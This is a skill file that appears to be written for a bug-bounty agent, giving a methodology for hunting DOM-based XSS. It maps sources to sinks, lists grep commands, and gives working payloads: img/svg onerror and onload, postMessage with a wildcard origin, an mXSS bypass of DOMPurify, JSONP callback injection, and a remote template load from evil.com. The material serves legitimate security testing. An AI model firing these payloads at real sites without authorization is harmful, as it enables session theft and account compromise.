attack-xss-dom
DOM XSS — sink/source mapping (innerHTML, eval, postMessage, location.*), client-side taint tracing, DOMPurify/mXSS notes
SKILL.md.bountyreaper/skill/attack-xss/dom/SKILL.md
GitHubDOM XSS
Objective
Server response can be perfectly encoded and the bug still exists: the value reaches a
dangerous JS sink client-side. Payload never appears "reflected" in the useful sense —
it lives in location.*, storage, postMessage, or JSON that JS re-renders.
Methodology
1. Source → sink map (what to grep in shipped JS)
Sources (attacker-controlled without a request):
location.hash, location.search, location.pathname, document.referrer,
window.name, postMessage e.data, WebSQL/IndexDB locals, JSONP parameters.
Sinks (execute or build HTML/JS):
innerHTML/outerHTML/insertAdjacentHTML, document.write/writeln,
eval/Function/setInterval("string"), setTimeout("string"),
element.src/href/action, jQuery .html()/.append()/$(),
document.location/domain, innerHTML via Angular (ng-html, trusted $sce).
# Fast static pass over bundles
cat app.js | grep -oE "innerHTML|document\.write|eval\(|Function\(|postMessage" | sort | uniq -c
# Trace one sink back to its source
cat app.js | grep -B5 "innerHTML" | head -40
2. Trigger mechanics — payloads that never show in HTML
https://target/page#<img src=x onerror=alert(1)> (hash-based sink)
https://target/page#default='+alert(1)+' (string-concat sink)
https://target/page#default=<svg onload=alert(1)> (jquery .html(hash))
iframe.postMessage: window.frames[0].postMessage("<img src=x onerror=alert(1)>","*")
postMessage wildcard: listener does e.data → innerHTML without origin check
Verification needs a REAL browser run (hackbrowser) — hash payloads are invisible to curl. Capture console + DOM mutation.
3. Framework hard routes (the ones that pay)
| App behavior | What it usually means | Attack route |
|---|---|---|
Angular templateUrl from URL fragment |
remote template load | fragment → \\evil.com\\tpl.html with ng-include payload |
trustedTypes / DOMPurify present |
input to innerHTML is cleaned | hunt mXSS: <svg></p><style><!--</style><img src=x onerror=alert(1)> mutation |
jQuery .html(location.hash...) seen |
classic jQuery sink | test all 4 hash-delimiters (' " < >) variants |
| JSONP callback from URL param | response is JS | callback=alert(1)// |
postMessage any origin listener |
need popup/frame delivery | craft opener page on your own host |
4. Open-redirect into DOM XSS
location = urlParam or location.href = fragment sinks: chain with attack-open-redirect
when the sink writes to a JS-consuming location (document.baseURI, sandbox iframe src).
5. Proving
- headless run shows the alert/console.error from payload — screenshot + DOM dump
- postMessage delivery: host a one-page opener, record execution trace
- iff sink sanitizes: capture the EXACT bypass mutation that shipped
Notes
- grep-based source tracing misses dynamic flows; fall back to running the app and
hooking
Element.prototype.innerHTML = wasmstyle devtools breakpoints in hackbrowser - prefer
onerror/onloadstyles overonmouseenterfor bots — no interaction needed